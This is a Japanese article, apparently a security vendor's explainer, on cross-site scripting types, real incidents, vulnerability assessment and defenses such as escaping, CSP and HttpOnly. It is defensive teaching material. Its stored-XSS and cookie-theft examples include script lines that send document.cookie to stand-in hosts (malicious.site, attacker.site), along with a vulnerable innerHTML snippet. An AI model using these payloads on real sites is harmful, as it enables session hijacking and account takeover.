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クロスサイトスクリプティング(XSS)とは?脆弱性対策について詳しく解説!

目次

Webアプリケーションにおけるセキュリティ対策の中でも、「XSS脆弱性(クロスサイトスクリプティング)」は非常に深刻なリスクとして知られています。
ユーザーの入力内容を適切に処理しないままWebページに表示してしまうことで、攻撃者に悪意のあるスクリプトを実行され、Cookieの窃取や不正ログイン、偽ページへの誘導など多様な被害が発生する可能性があります。

特に近年では、企業の情報システムやECサイト、SNS、Webアプリケーションといった幅広いサービスがXSS攻撃の標的となっており、単なる技術的なミスが重大な情報漏洩やブランド毀損につながる事例も増加しています。

本記事では、XSS脆弱性の基本的な仕組みから始まり、代表的な3種類の攻撃手法(反射型・持続型・DOMベース型)の特徴と具体的なコード例、実際に報告された企業への攻撃事例、そしてWebサイト運営者や開発者が講じるべき対策方法まで、体系的にわかりやすく解説します。

セキュリティ担当者だけでなく、Web制作に関わるすべての人が知っておくべき知識をまとめてお届けしますので、「とりあえず知識をキャッチアップしたい」という方にも役立つ内容です。

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XSS脆弱性とは?基本の仕組みと危険性

XSS脆弱性(クロスサイトスクリプティング)とは、WebサイトやWebアプリケーションにおいて、ユーザーの入力したデータを適切に処理せずにそのまま画面に出力してしまうことによって、悪意のあるスクリプト(JavaScriptなど)が実行されてしまうセキュリティ上の欠陥のことを指します。

たとえば、検索フォームやコメント欄などに攻撃者がJavaScriptコードを仕込んだ文字列を入力し、それがそのまま他のユーザーのブラウザ上で表示・実行されると、攻撃は成立します。このとき実行されるスクリプトによって、以下のようなさまざまな被害が引き起こされる可能性があります。

  • Cookie情報の盗聴によるセッションハイジャック
  • フィッシングページへの誘導
  • 意図しない操作の実行(なりすまし投稿など)
  • マルウェアの配布

XSS攻撃の厄介な点は、Webアプリ自体が正常に動作しているように見えるにも関わらず、裏でユーザーが意図しない処理が進んでしまうことです。つまり、ユーザーの信頼を背景にした攻撃が成立するため、企業やサービスに対する信頼失墜を招きやすいのです。

また、XSSは多くの攻撃の「入口」にもなり得ます。たとえばXSSをきっかけにしてログイン情報を盗まれ、それを使ってさらに深い侵入や情報流出へとつながるパターンも珍しくありません。

そのため、XSS脆弱性は**「単なるコーディングミス」ではなく、「サービス全体を脅かすセキュリティリスク」**として位置づけられており、IPA(情報処理推進機構)などの公的機関でも長年にわたり注意喚起が行われています。

情報処理推進機構(IPA)によると、クロスサイトスクリプティングは脆弱性の届出数で常に上位にランクインしており、2021年第2四半期には92件の報告がされています。

クロスサイトリクエストフォージェリ(CSRF)との違い

クロスサイトリクエストフォージェリ(CSRF)攻撃は、Webアプリケーションの脆弱性を悪用する点でクロスサイトスクリプティング(XSS)攻撃と共通していますが、その動作原理は大きく異なります。

CSRFは、攻撃者が正規のユーザーになりすまして、不正なリクエストをサーバーに送信する攻撃手法です。攻撃者は、ユーザーがログイン中の信頼できるWebサイトを悪用し、ユーザーの意図しない操作を実行させます。

たとえば、ユーザーがSNSにログインしている状態で、攻撃者の用意した罠のページを閲覧してしまったとします。すると、ユーザーの知らないうちに、攻撃者の用意した投稿内容がSNSに送信され、ユーザーのアカウントから無断で投稿されてしまうかもしれません。

また、CSRFはECサイトでの不正購入にも悪用される可能性があります。ユーザーがショッピングサイトにログインしている状態で、攻撃者の罠のページを開いてしまうと、ユーザーの意図しない高額な商品の購入リクエストがサーバーに送信されるかもしれません。ユーザーが気づかないうちに、不要な商品が購入されてしまうのです。

SQLインジェクションとの違い

SQLインジェクション攻撃は、Webアプリケーションのデータベースを標的とした攻撃手法です。この攻撃は、悪意のあるSQLクエリをデータベースに注入することで、不正な処理を実行させることを目的としています。攻撃者は、不正なSQLクエリを使って、重要なデータを削除したり、内容を書き換えたりできます。アプリケーションの機能が損なわれ、ユーザーに大きな混乱や被害をもたらす可能性があるでしょう。

また、SQLインジェクション攻撃は、機密情報の漏洩にも悪用されます。たとえば、ユーザーの個人情報や、クレジットカード情報などの極めて重要な情報が盗み出される危険性があるのです。こうした情報漏洩は、ユーザーのプライバシーを侵害し、深刻な被害につながるおそれがあります。

XSS脆弱性の3つの種類とその違い

XSS(クロスサイトスクリプティング)攻撃には、主に3つのタイプが存在します。それぞれの手法には仕組みや影響範囲、再現性に違いがあり、対策も異なります。
ここでは、「反射型」「持続型」「DOMベース型」の3つのXSSの違いについて、特徴と攻撃例を交えて詳しく解説します。
XSSには主に3種類の手法があります。以下のように分けられます。

  1. 反射型XSS:攻撃者が用意したリンクをクリックすると、スクリプトが一時的に実行される手法です。
  2. 持続型XSS:スクリプトがサーバーに保存され、複数のユーザーに影響を与えるタイプです。
  3. DOMベースXSS:クライアントサイドで直接スクリプトが実行され、DOM操作による脆弱性が発生します。

反射型XSS(Reflected XSS)

反射型XSSは、攻撃者が仕込んだ悪意あるスクリプトが、サーバーに保存されることなく即座にレスポンスとして返される攻撃です。
一般的には、検索フォームや問い合わせフォームなどにユーザーが入力した情報を、そのまま画面に表示しているケースで発生します。

攻撃例:https://example.com/search?q=<script>alert(‘XSS’)</script>

このようなURLが仕込まれたリンクをユーザーがクリックすると、検索結果ページ上でJavaScriptが実行されてしまいます。

特徴まとめ:

  • サーバーにスクリプトが保存されない(即時型)
  • 被害者がリンクをクリックしない限り攻撃は成立しない
  • フィッシングなどの「誘導型攻撃」に使われやすい

持続型XSS(Stored XSS)

持続型XSSは、攻撃者が送信したスクリプトがサーバーに保存され、複数のユーザーに影響を与えるタイプの攻撃です。
掲示板、レビュー投稿、プロフィール欄など、データが保存され再表示される仕組みのあるサービスにおいて発生します。

攻撃例:

掲示板の投稿欄に以下のようなコードが入力されたとします:<script>document.location='https://malicious.site/steal?cookie=' + document.cookie</script>

その掲示板を閲覧した他のユーザーのCookieが盗まれる危険があります。

 特徴まとめ:

  • スクリプトがサーバーに保存されるため持続的に影響が残る
  • 記事やコメント欄などの多人数が見るコンテンツで悪用されやすい
  • サイト運営者の管理不足が根本原因になりやすい

DOMベースXSS(DOM-based XSS)

DOMベースXSSは、サーバー側ではなくクライアント側(ユーザーのブラウザ内)でDOM操作によりスクリプトが実行される攻撃です。
特に、JavaScriptでURLパラメータやlocation.hashの内容をそのままinnerHTMLに代入するような処理があると危険です。

 攻撃例:document.getElementById("output").innerHTML = location.hash;

このようなコードがある場合、URLに #<script>alert('XSS')</script> を含めることでスクリプトが実行されてしまいます。

 特徴まとめ:

  • クライアント側のみで完結するため、サーバーでは検知できない
  • JavaScriptコードの安全性が問われる
  • フレームワークを使っていても、DOM操作次第で発生する

【3種類のXSS比較まとめ】

タイプ 実行場所 スクリプトの保存 被害範囲 特徴
反射型XSS サーバー ➝ ブラウザ 保存されない 一時的(個別) リンク型、誘導に依存
持続型XSS サーバー ➝ ブラウザ 保存される 永続的(複数人) 掲示板やレビュー欄で被害大
DOMベースXSS ブラウザ内 不問(DOM次第) 個別 JSコードの設計ミスが原因

それぞれの攻撃は仕組みや再現性に違いがあるため、開発者や運営者は自社のアプリケーション構造に合わせた対策を講じる必要があります
次のセクションでは、XSSによって実際に発生する被害内容について詳しく見ていきましょう。

XSS脆弱性によって起こる被害とは

クロスサイトスクリプティング(XSS)攻撃は、「攻撃者による悪意のあるスクリプトの埋め込み」「何も知らないユーザーによる罠へのアクセス」「悪意のあるスクリプトによる攻撃の実行」の三段階のプロセスに分かれます。

ステップごとに詳しく見ていきましょう。

  • 攻撃者による悪意のあるスクリプトの埋め込み
  • 何も知らないユーザーによる罠へのアクセス
  • 悪意のあるスクリプトによる攻撃の実行

攻撃者による悪意のあるスクリプトの埋め込み

攻撃者は、脆弱性のあるWebアプリケーションを狙い、コメント欄や入力フォームなどを通じて、悪意のあるスクリプトを巧妙に仕込みます。これにより、一見無害に見えるWebサイトが、攻撃者の罠に変えられてしまいます。

何も知らないユーザーによる罠へのアクセス

次に、そのWebサイトを訪れた何も知らないユーザーが、攻撃者が仕掛けた罠(悪意のあるリンク)をうっかりクリックしてしまうと、埋め込まれていた悪意のあるスクリプトが自動的に実行されます。見慣れないポップアップ画面や、怪しい入力フォームが現れた場合は、危険信号かもしれません。

悪意のあるスクリプトによる攻撃の実行

悪意のあるスクリプトが実行されると、攻撃者はその力を利用して、罠にかかったユーザーから個人情報を盗み出したり、マルウェアに感染させたりと、さまざまな悪事を働きます。

XSS脆弱性は、単に「スクリプトが動いてしまう」という技術的な問題にとどまりません。
攻撃が成功すれば、ユーザーの情報漏洩やアカウントの乗っ取りといった深刻な被害につながるため、Webサービスの信頼性全体を揺るがす脅威といえます。ここでは、XSSによって実際に引き起こされる主な被害について、具体的に見ていきましょう。

H3:Cookie情報の窃取とセッションハイジャック

XSSの代表的な被害が、ユーザーのCookie情報を不正に取得されることです。
CookieにはセッションIDや認証トークンが保存されているケースが多く、これが第三者の手に渡れば、**ログイン状態をそのまま乗っ取られる「セッションハイジャック」**が発生します。

攻撃例:

html
<script>new Image().src="https://attacker.site/steal?cookie="+document.cookie;</script>

このようなコードが実行されると、ユーザーのCookie情報が攻撃者のサーバーに送信されてしまいます。

偽ページ表示によるフィッシング

XSS攻撃によって、正規のWebサイト上に見せかけた偽の入力フォームを表示することも可能です。
ユーザーは本物のログインページだと信じて情報を入力してしまい、ID・パスワード・クレジットカード情報などの機密情報が漏洩します。

このようなフィッシングは、ブランドの信用失墜や顧客離れを引き起こす重大なリスクであり、特にECサイトや会員制サービスでは注意が必要です。

意図しない操作の実行(なりすまし投稿など)

JavaScriptを悪用することで、ユーザーの意思に反した操作を実行させることもできます。
たとえば、SNSに勝手に投稿を行ったり、掲示板にスパムコメントを書き込んだりといった、「なりすまし行為」が典型的です。

このような被害が拡大すれば、プラットフォーム全体がスパムまみれになるだけでなく、被害者本人の信用も損なわれるおそれがあります。

任意のスクリプトの実行(マルウェア感染の温床に)

XSSは、外部のJavaScriptファイルを読み込ませる手段にも使われます。
これにより、ユーザーの端末上で悪意のあるコードが実行され、マルウェアに感染させられるリスクも存在します。
スクリプトは画面上には見えない形で動作することが多く、ユーザーが気づかないうちに端末が汚染される危険性も否定できません。

被害はユーザーだけではない

XSSによる攻撃は、ユーザーの被害にとどまらず、Webサービス運営者側にも深刻な影響を及ぼします。
例えば以下のような二次的損失が考えられます:

  • ユーザーからの信頼低下・炎上
  • 企業イメージの毀損
  • 利用者の離脱・売上減少
  • 法的責任の追及(個人情報漏洩)

一度でもXSS攻撃が報告されれば、セキュリティへの信頼は一気に揺らぎます。そのため、企業は単なるバグとして放置するのではなく、経営課題としてXSS脆弱性を扱うべきです。

クロスサイトスクリプティング(XSS)で起こる被害

XSS脆弱性は理論的な脅威にとどまらず、現実のインターネット空間でも多くの企業やサービスに対して深刻な影響を及ぼしてきました。
一見すると些細なミスのように見える入力処理の不備が、世界的なプラットフォームを巻き込む大規模なインシデントへと発展した事例も存在します。

ここでは、XSSがどれほど危険なものであり、どのようなかたちで実際に攻撃が行われたのかを理解するために、過去に報告された3つの代表的な事例を紹介します。

  • 正規のサイト上に偽の情報が表示される
  • Cookieに含まれる情報の漏えい
  • 任意のCookieの保存

正規のサイト上に偽の情報が表示される

クロスサイトスクリプティング(XSS)攻撃により、正規のWebサイト上に不正なページが表示される可能性があります。攻撃者は、悪意あるスクリプトを埋め込んだコードを注入することで、Webサイトの見た目や動作を改変することが可能です。さらに、不正なページを通じて、ユーザーが攻撃者の用意したフィッシングサイトへ誘導されるケースもあります。

Cookieに含まれる情報の漏えい

クロスサイトスクリプティング(XSS)攻撃は、ブラウザに保存されたCookieを不正に取得する手段としても悪用されます。Cookieは、ユーザーのログイン情報やセッションID、その他の重要な情報を格納するために使用されることが多いため、攻撃者にとって非常に魅力的な標的となります。

Cookieに個人情報が格納されている場合、その情報が漏えいするリスクも懸念されます。氏名や住所、電話番号、クレジットカード情報などの機密データがCookieに含まれていると、攻撃者はそれらの情報を簡単に入手できてしまいます。盗まれた個人情報は、なりすまし犯罪やフィッシング詐欺、スパムメールの送信などに悪用される恐れがあるでしょう。

任意のCookieの保存

攻撃者はユーザーのブラウザに任意のCookieを強制的に保存させることができ、これが「セッションIDの固定化」攻撃に利用されることがあります。この攻撃手法では、事前に攻撃者が指定したセッションIDをユーザーのブラウザに保存させ、そのIDを使用してセッションハイジャックを行うことが可能になります。

これらの問題を防ぐためには、Webサイトの開発者は入力されたデータのサニタイズや有効なコンテンツセキュリティポリシー(CSP)の実装に努める必要があります。

ユーザーとしては、不審なリンクやメールには慎重に対応し、定期的にパスワードを変更する、ブラウザやセキュリティソフトウェアを最新の状態に保つといったセキュリティ対策を講じることが重要です。Webサイトやアプリケーションの安全を確保するためには、開発者と利用者双方の意識と取り組みが必要不可欠です。

XSS脆弱性の実際の攻撃事例

XSS脆弱性は理論的な脅威にとどまらず、現実のインターネット空間でも多くの企業やサービスに対して深刻な影響を及ぼしてきました。
一見すると些細なミスのように見える入力処理の不備が、世界的なプラットフォームを巻き込む大規模なインシデントへと発展した事例も存在します。

ここでは、XSSがどれほど危険なものであり、どのようなかたちで実際に攻撃が行われたのかを理解するために、過去に報告された3つの代表的な事例を紹介します。

Twitterで発生したワーム型XSS(2010年)

2010年9月、SNS大手「Twitter」において、XSS脆弱性を利用した“ワーム型”の攻撃が発生しました。
この攻撃は、ユーザーが特定の投稿の上にマウスカーソルを置くだけでスクリプトが実行されるという衝撃的なもので、SNS史上でも異例の拡散スピードを記録しました。

攻撃者は、ツイート本文にJavaScriptコードを含め、そのスクリプトが再度自動的に別のツイートを生成する仕組みを作っていました。つまり、感染→拡散→感染…という自己増殖的な挙動がSNSというリアルタイム性の高いメディアと相まって、瞬く間に被害が拡大しました。

この事例は、「ユーザーの行動によって他ユーザーに感染を拡大させるXSS攻撃」がいかに強力であるかを世界に示したものとなりました。

YouTubeにおけるコメント欄経由のXSS(2010年)

同年の7月、Google傘下の動画プラットフォーム「YouTube」でもXSS脆弱性によるインシデントが発生しました。
このときは、動画のコメント欄を悪用して、JavaScriptを含んだ投稿が多数行われたことで、特定の動画を閲覧したユーザーにポップアップが表示されたり、別のWebページへ強制的にリダイレクトされるといった被害が報告されました。

特に問題だったのは、当該コメントが動画ページ上で自動的に読み込まれる仕組みにより、ログイン状態のユーザーであれば誰でも攻撃の対象になり得たという点です。

YouTubeという世界的な規模のサービスにおいて、入力検証の不足という基本的な設計ミスがXSSにつながったことは、どれだけ巨大なプラットフォームでも例外ではないという教訓を与える事例となりました。

ユニクロアプリに指摘されたXSS脆弱性(2020年)

もっと近年の国内事例として、2020年9月に報告された「ユニクロ公式Androidアプリ」におけるXSS脆弱性の指摘が挙げられます。
この問題は、アプリ内のWebViewコンポーネントが特定のパラメータを受け取って外部リンクを表示する際、不正なスクリプトを実行する余地があることが指摘されたもので、IPAが運営する脆弱性情報データベース「JVN iPedia」にも掲載されました。

当該脆弱性は、利用者が悪意のあるリンクを踏んだ際、アプリ内での表示が改ざんされたり、外部Webページへ不正に誘導されたりする恐れがありました。

幸いにも、この問題は報告を受けて迅速に修正されたため、大きな被害には至りませんでしたが、モバイルアプリにもWebコンテンツが組み込まれる時代において、XSSは「Webだけの問題ではない」ことを示す象徴的な出来事です。

XSSは“どこでも起きる”からこそ脅威である

上記の事例からも分かる通り、XSS脆弱性はSNS・動画共有サービス・ECアプリ・業務用システムなど、ジャンルや規模を問わず幅広いWebサービスに影響を与える汎用的な脆弱性です。

しかも、これらの攻撃は、派手な侵入やクラッキングを必要としません。
たった1行のスクリプトが許容されるだけで、何千人ものユーザーに被害が及ぶ可能性があるのです。

「うちは大丈夫」と思っていても、入力値の出力方法やJavaScriptの使い方を1つ誤れば、同様の攻撃にさらされる可能性があります。
そのため、XSSは単なる技術的な知識として理解するだけでなく、実際の事例から危機感を持つことが極めて重要なのです。

自社Webサイトの脆弱性を診断するには

XSS脆弱性を防ぐためには、入力値のサニタイズやCSPの導入など、開発段階での対策が不可欠です。しかし、すべての入力・出力箇所を網羅的にチェックし続けるのは現実的に難しく、人的な見落としや設計上の盲点が後から発覚するケースも少なくありません

こうしたリスクを可視化し、公開後のWebサイトやアプリケーションの安全性を確認するためには、第三者視点での脆弱性診断が有効です。

脆弱性診断とは、Webサイトやアプリに潜むセキュリティホールを、専用ツールや手動検査によって洗い出す検査手法です。疑似的に攻撃を行い、実際にどのような脆弱性が存在し得るのかをレポート形式で提示するため、開発者が気づきにくい箇所まで網羅的に洗い出すことができます

診断の方法には大きく分けて「脆弱性診断サービス(外注)」と「診断ツールの導入(社内運用)」の2種類があり、それぞれに異なるメリットと課題があります。

外部診断サービスの活用

セキュリティ診断を専門とするベンダーに依頼する形の診断サービスでは、専門知識を持った技術者がシステム全体を網羅的に調査します。Webアプリケーションだけでなく、ネットワーク構成やAPI連携など多層的な構造を持つシステムにも対応しており、複雑な環境での診断にも強みがあります。

診断レポートには、発見された脆弱性の内容とリスクレベル、発生箇所、具体的な修正方法が記載されるため、実装現場ですぐに対応可能なアクションにつながるのも利点です。

また、自社にセキュリティ専門のエンジニアがいない場合でも、外部の専門家に委託することで客観的かつ精度の高い診断結果を得られる点は非常に大きなメリットです。

ただし、1回あたりの費用はそれなりに高く、都度依頼するには予算確保が必要となります。サービスの質も業者ごとに差があるため、信頼できる診断会社を選定することが重要です。

脆弱性診断ツールの導入

もう一つの選択肢は、社内に脆弱性診断ツールを導入し、継続的かつ自動的に脆弱性チェックを行う体制を整える方法です。

診断ツールには、スキャン対象のURLを指定するだけで、代表的なセキュリティリスク(XSSやSQLインジェクションなど)を自動検出してくれるものが多く存在します。更新頻度の高いサイトであっても、自社内で定期的に診断を繰り返すことが可能となり、長期的には外注よりコストを抑えられるケースもあります

一方で、ツールの導入には初期学習や設定作業が必要となり、検出された脆弱性の内容を正しく解釈して対応できる最低限のセキュリティ知識が社内に求められます。そのため、ツール選定時には、UIがわかりやすく、結果レポートが明瞭なものを選ぶことが肝要です。

特に、脆弱性の深刻度や修正方法が明記されているツールであれば、セキュリティ専門ではない担当者でも対応が取りやすく、実運用における負担も軽減されます。

診断手法の比較と導入判断のポイント

以下に、外注とツール導入の違いを簡単に整理します。

観点 外部診断サービス 診断ツール導入
診断精度 高(手動調査込み) 中〜高(ツールに依存)
実施頻度 年1〜数回程度 任意のタイミングで実施可能
コスト 高額(数十万円〜) 月額制・買い切りなど柔軟
対応の専門性 ベンダーに依存 自社に最低限の知識が必要
修正提案の具体性 詳細かつ明確 ツールにより異なる

Webアプリケーションの規模や予算、社内リソースの状況に応じて、自社に合った診断手段を選定することが鍵です。理想的には、外部診断による定期的なレビューと、ツールによる日常的なチェックを併用することで、セキュリティ体制の堅牢性を高めることができます。

クロスサイトスクリプティング(XSS)に有効な対策とは

クロスサイトスクリプティング(XSS)攻撃は、Webアプリケーションがユーザーからの入力をそのままWebページに出力する際、特殊文字がエスケープされずに扱われることで発生します。このような攻撃を防ぐためには、Webサイトを構築する際、特殊文字を適切にエスケープ処理(無効化)することが不可欠です。

また、HTMLタグの属性値をダブルクォーテーションで適切に囲むなど、セキュリティを強化するための実装方法に対する注意も必要です。これらはクロスサイトスクリプティング(XSS)攻撃に対する基本的な予防策として、脆弱性の発生を抑制する役割を果たします。

しかしクロスサイトスクリプティング(XSS)攻撃を完全に防ぐには、エスケープ処理やコーディング規約の遵守だけでは不十分です。攻撃を受ける可能性のある箇所が多岐にわたるため、見落としが発生しやすいという課題があります。したがって、保険的な対策として入力値の検証・脆弱性診断ツールの使用・セキュリティポリシーの策定と実施など、総合的なセキュリティ対策を講じることが推奨されます。

脆弱性診断サービスの活用

セキュリティの専門知識が不足している組織にとって、自社のWebアプリケーションに潜むすべてのセキュリティリスクに対応することは非常に困難な課題です。特に、クロスサイトスクリプティング(XSS)攻撃のような複雑な脆弱性を見落としてしまう可能性があります。この問題を解決するには、セキュリティ専門の診断ベンダーに脆弱性診断を委託することが効果的な方法の一つです。

脆弱性診断サービスを活用することで、自社のリソースや知識不足を補えます。診断ベンダーは高度なスキルと最新のツールを駆使して、Webアプリケーションを徹底的に検査し、クロスサイトスクリプティング(XSS)を含む潜在的なセキュリティリスクを特定します。単にリスクを指摘するだけでなく、それぞれの脆弱性に対する具体的な改善策や対処方法も提示してくれるので、効率的にセキュリティ対策を進められます。

脆弱性診断ツールの導入

脆弱性診断ツールの導入は、外部委託と比較してコスト面でもメリットがあります。診断ベンダーへの依頼を繰り返すことなく、社内でツールを運用できるため、長期的なコスト削減が期待できます。また、診断の頻度を自由に設定できるので、Webアプリケーションの更新サイクルに合わせて頻繁に脆弱性チェックを行うことも可能です。

ただし、脆弱性診断ツールを効果的に活用するには、ある程度のセキュリティ知識が必要となります。ツールの設定や結果の解釈には専門性が求められるからです。そこで、ユーザーフレンドリーなツールを選ぶことが重要です。わかりやすいインターフェースと詳細なレポート機能を備えたツールであれば、セキュリティの知識が浅い担当者でも、スムーズに脆弱性診断を進められるでしょう。

脆弱性対策として必要な4つの「根本的な対策」

XSS脆弱性に対するセキュリティ対策は、表面的なチェックだけでは不十分です。
安全なWebアプリケーションを構築・維持するためには、あらゆるコードの中に潜む脆弱性の芽を摘み取る「設計レベルでの防御」が必要不可欠です。

このセクションでは、XSSを根本的に防止するために、開発者が取り組むべき4つの実装対策について詳しく解説します。これらの対策は、単体で用いるだけでなく、複数組み合わせることで効果がより高まります。

脆弱性対策として必要な4つの根本的な対策を紹介します。

  1. 特別な記号にエスケープ処理を施す
  2. 属性値をダブルクォーテーションで囲む
  3. 「http」「https」スキームだけを許可する
  4. 適切なDOM操作を実装する

1. 特殊な記号にエスケープ処理を施す

ユーザーからの入力や外部から取得したデータをWebページ上に表示する際、特殊文字に対してエスケープ処理を施すことは基本中の基本といえる対策です。
ここでいう特殊文字とは、HTMLにおいて構造を持つ記号、つまり <>&"' などを指します。

これらの文字はそのまま出力されるとタグや属性、スクリプトとして認識されてしまい、攻撃者が意図したコードが実行される原因となります。
そのため、たとえば <script> という文字列があった場合は、&lt;script&gt; に変換しておくことで、HTMLとしては解釈されず、ただのテキストとして表示されるようになります。

この処理は単に入力時だけでなく、出力するすべての箇所に対して一貫して行うことが大切です。
たとえば、データベースから取得した値やAPIレスポンスをそのままHTMLに差し込むような処理がある場合も、エスケープ処理を忘れないよう注意する必要があります。

また、JavaScriptを使用して画面を書き換える場面でも、innerHTMLを使って値を挿入する場合は、スクリプト実行の危険性が高くなるため、代わりに textContent や innerText を使用することが望ましいです。

2. 属性値をダブルクォーテーションで囲む

HTMLでは、タグの属性値をダブルクォーテーションで囲むことが推奨されています。
このルールは読みやすさや正当性のためだけでなく、セキュリティ上の理由からも非常に重要です。

属性値がクォーテーションで囲まれていない場合、攻撃者はその途中に別の属性やスクリプトを挿入することが可能になります。
たとえば、<a href=悪意のあるコード> のように、不正な値を仕込むことで、ユーザーがクリックした際に意図しない動作が実行されるリスクがあります。

一方、<a href="安全なリンク"> のようにダブルクォートで囲っておけば、属性の終端が明確に定義され、途中に挿入されたスクリプトが属性の一部として解釈されることはありません。

さらに、属性値の中でクォーテーション自体を扱う場合には、エスケープ処理を施す必要があります。たとえば、属性値内に " を含めたい場合は &quot; に変換することで、ブラウザが構文を正しく認識できるようになります。

この対策は、一見地味ではありますが、HTMLの構造を崩さないという意味でも、XSSを未然に防ぐための基本ルールのひとつです。

3. 「http」「https」スキームだけを許可する

Webアプリケーションにおいて、リンクや画像、スクリプトなどのURLをユーザーが自由に指定できる仕組みがある場合、その入力内容に制限を設けないと、非常に危険です。
特に javascript:data: といったスキームを使用したURLは、スクリプトの直接実行や外部データの不正読込につながる恐れがあるため、XSSの温床となり得ます。

たとえば、以下のようなリンクをユーザーが指定できる状態だった場合、

<a href="javascript:alert('XSS')">危険なリンク</a>

クリックした瞬間にスクリプトが実行され、意図しない動作を引き起こす可能性があります。

このようなリスクを回避するためには、ユーザー入力に基づいて生成されるURLに対して、**「http」または「https」で始まる正規のスキームのみを許可する」**というルールを実装することが重要です。
特定のスキーム以外を検出した際にはエラーメッセージを返す、あるいは安全なデフォルトURLに置き換えるなどの対処を行うとよいでしょう。

URLの制限は、リンク先だけでなく、画像のsrc属性やiframeの読み込み先など、複数の属性に関わるため、包括的なチェックが求められます。

4. 適切なDOM操作を実装する

XSS脆弱性の中でも、特にDOMベースXSSは、サーバー側のチェックでは検出されにくいという特徴があります。
これは、JavaScriptによってクライアント側でHTML要素が動的に生成・書き換えられる際に、ユーザーの入力内容がDOMにそのまま挿入され、スクリプトとして解釈されるケースを指します。

典型的なのは、以下のようなコードです。

document.getElementById("output").innerHTML = location.hash;

このコードは、URLのハッシュ部分(#以降の値)をinnerHTMLとしてそのまま表示してしまうため、攻撃者が #<script>...</script> を仕込めば、意図しないスクリプトが実行されてしまいます。

これを防ぐには、HTMLを直接生成する代わりに、テキストとして処理するAPIを使用することが基本的な対策となります。上記の例であれば、innerHTMLではなく textContent や innerText を使うことで、スクリプトが実行されることなく文字列として表示できます。

また、JavaScriptのテンプレートエンジンやフレームワークを利用している場合でも、手動でDOM操作を行う場面が出てくることがあります。その際には、どのAPIを使用しているか、どのようなデータをDOMに反映させているかを慎重に確認する必要があります。

DOMベースの攻撃は、セキュリティテストツールでも検出しにくいため、開発者自身の意識と設計レベルでの防御が特に重要です。

これら4つの対策は、XSS脆弱性における「入口」を封じるための基本的な実装項目です。
特にHTMLの出力やDOMの操作が頻繁に発生するWebアプリケーションにおいては、いずれか1つでも欠けてしまうと、攻撃の突破口となりかねません
すべての対策を丁寧に実装し、定期的にレビュー・テストを行うことで、セキュアなWebシステムを維持することが可能となります。

より強固なセキュリティ対策(保険的な手段)

XSS攻撃を防ぐための基本的な対策を講じることは、Webアプリケーションの安全性を保つうえで不可欠です。しかし、現実の開発現場ではコードの変更や追加が繰り返される中で、エスケープ漏れやサニタイズ忘れといったヒューマンエラーが生じる可能性を完全に排除することは困難です。

そのため、仮にミスがあった場合でも被害を最小限に抑えるための「保険的な対策」を同時に講じておくことが推奨されます。これらは一つひとつが万能な解決策というわけではありませんが、基本的な対策と併用することで、防御層を強化し、攻撃成功のリスクを大幅に低下させることができます。

ここでは、特に有効とされる三つの保険的対策について説明します。

Content-Security-Policy(CSP)の導入

Content-Security-Policy(CSP)は、Webページ上で実行可能なスクリプトやコンテンツの出所を指定することで、意図しないコードの実行を防ぐことを目的としたブラウザのセキュリティ機能です。

たとえば、CSPを適切に設定することで、信頼できるドメインから提供されたスクリプトのみを許可し、それ以外のスクリプト(たとえWebページ内に挿入されていても)を自動的にブロックすることが可能となります。

この仕組みにより、仮に攻撃者がXSSによってスクリプトを注入したとしても、CSPによってそのスクリプトが実行される前に排除されるため、被害を未然に防ぐことができます。

導入にあたっては、HTTPレスポンスヘッダーやmetaタグを通じてポリシーを宣言します。たとえば、インラインスクリプトの禁止や外部スクリプトの制限を明示的に定義することが可能です。

CSPは強力な保護機能を持つ一方で、設定内容が複雑になりやすく、正しく構成しなければ本来必要なスクリプトまでブロックしてしまう可能性もあります。そのため、事前にテストを行いながら段階的に適用範囲を広げていく運用が求められます。

CookieへのHttpOnly属性の付与

Cookieはユーザー認証やセッション管理のために広く利用されていますが、XSS攻撃によって盗まれるリスクがあるため、その保護もまた重要な要素です。その一手段として有効なのが、CookieにHttpOnly属性を付けることです。

HttpOnly属性を付与されたCookieは、JavaScriptからアクセスできなくなります。つまり、document.cookieのような手段による情報の取得が無効化されるため、XSSによるセッションハイジャックの成功率を下げることができます。

たとえば、ユーザーのログイン情報を保存しているセッションIDを含むCookieにHttpOnlyを設定しておけば、仮にWebページ内でスクリプトが実行された場合でも、そのCookieの内容は読み取れず、外部送信される心配が少なくなります。

ただし、この対策はJavaScriptによる取得を防ぐだけであり、HTTPリクエストに含まれて送信されるCookieそのものを保護するわけではありません。つまり、CSPや入力値のサニタイズといった根本的な防御と組み合わせることで、はじめてその効果が最大化されます。

また、同時にSecure属性を付与することで、HTTPS接続時にのみCookieを送信するように制限でき、盗聴リスクに対しても一定の防御が可能となります。

入力値のバリデーションと制限

XSSの多くは、意図しない内容が入力欄に送信され、そのまま出力されることで発生します。こうした状況を防ぐためには、サーバーやクライアントでの入力値の検証(バリデーション)が有効です。

たとえば、電話番号欄に数字以外の文字が含まれていないか、メールアドレスとして正しい形式になっているかなどを確認することで、不正な文字列の送信を防ぐことができます。

また、フォームの入力値に対して、必要に応じて文字数制限や使用可能な文字種(英数字のみなど)を設けることも有効です。こうした制限は、スクリプトを完全に無効化するわけではありませんが、攻撃の自由度を著しく下げる効果があります。

この対策は、正規の利用者が意図しない誤入力を防ぐ目的でも有効であり、セキュリティだけでなくUXの向上にも寄与します。

ただし、入力値の制限を行う際には、正当な利用シーンを妨げないよう注意が必要です。過度な制限によって必要な情報が登録できなくなるなどの弊害が生じないよう、ユーザーの利用状況に応じた柔軟な設計が求められます。

以上のような保険的な対策を取り入れることで、万が一の入力ミスや見落としがあっても、XSSの被害を軽減または回避する可能性が高まります。特に、複数の防御策を組み合わせる「多層防御」の考え方を取り入れることが、長期的に安全なシステム運用を行うための重要な方針となります。

必要に応じて対応したい3つの保険的な対策

基本的なXSS対策を丁寧に実装したとしても、それで完全に安全が保証されるわけではありません。Webアプリケーションは多くの機能や連携を持ち、実装が複雑になるほど、細かい見落としが発生する可能性が高まります。

こうした現実を踏まえ、基本的な防御策に加えて、より強固なセキュリティ層を構築するための「保険的な対策」も検討しておくことが重要です。
このセクションでは、必要に応じて取り入れることでXSS攻撃のリスクをさらに軽減できる、三つの補助的対策について解説します。

1. 各種ヘッダーの指定(CSP・X-XSS-Protectionなど)

Webサーバーが返すHTTPレスポンスヘッダーには、セキュリティを強化するための制御が可能な項目が複数存在します。その中でも、XSS攻撃への耐性を高める手段として有効なのが、Content-Security-Policy(CSP)ヘッダーの導入です。

